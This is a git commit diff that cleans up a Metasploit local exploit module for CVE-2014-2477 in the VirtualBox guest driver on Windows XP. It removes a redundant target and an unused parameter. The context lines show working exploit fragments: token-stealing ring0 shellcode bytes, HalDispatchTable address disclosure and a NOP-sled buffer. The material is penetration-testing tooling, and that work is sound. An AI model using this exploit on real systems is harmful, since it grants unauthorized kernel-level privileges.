There is only one target
parent
c8e4048c19
commit
183b27ee27
|
@ -38,13 +38,12 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'Windows XP SP3', { } ],
|
||||
[ 'Windows XP SP3', { } ]
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-2477' ],
|
||||
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt' ]
|
||||
['CVE', '2014-2477'],
|
||||
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt']
|
||||
],
|
||||
'DisclosureDate'=> 'Jul 15 2014',
|
||||
'DefaultTarget' => 0
|
||||
|
@ -108,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
return nil
|
||||
end
|
||||
|
||||
def ring0_shellcode(t)
|
||||
def ring0_shellcode
|
||||
|
||||
tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
|
||||
tokenswap << "\x8B\x40\x44\x50\xBB\x04"
|
||||
|
@ -152,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
return address
|
||||
end
|
||||
|
||||
def disclose_addresses(t)
|
||||
def disclose_addresses
|
||||
addresses = {}
|
||||
|
||||
vprint_status("Getting the Kernel module name...")
|
||||
|
@ -251,9 +250,8 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device")
|
||||
end
|
||||
|
||||
my_target = targets[1]
|
||||
print_status("Disclosing the HalDispatchTable address...")
|
||||
@addresses = disclose_addresses(my_target)
|
||||
@addresses = disclose_addresses
|
||||
if @addresses.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Filed to disclose necessary address for exploitation. Aborting.")
|
||||
|
@ -263,7 +261,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
print_status("Storing the shellcode in memory...")
|
||||
this_proc = session.sys.process.open
|
||||
kernel_shell = ring0_shellcode(my_target)
|
||||
kernel_shell = ring0_shellcode
|
||||
kernel_shell_address = 0x1
|
||||
|
||||
buf = "\x90" * 0x6000
|
||||
|
|
Loading…
Reference in New Issue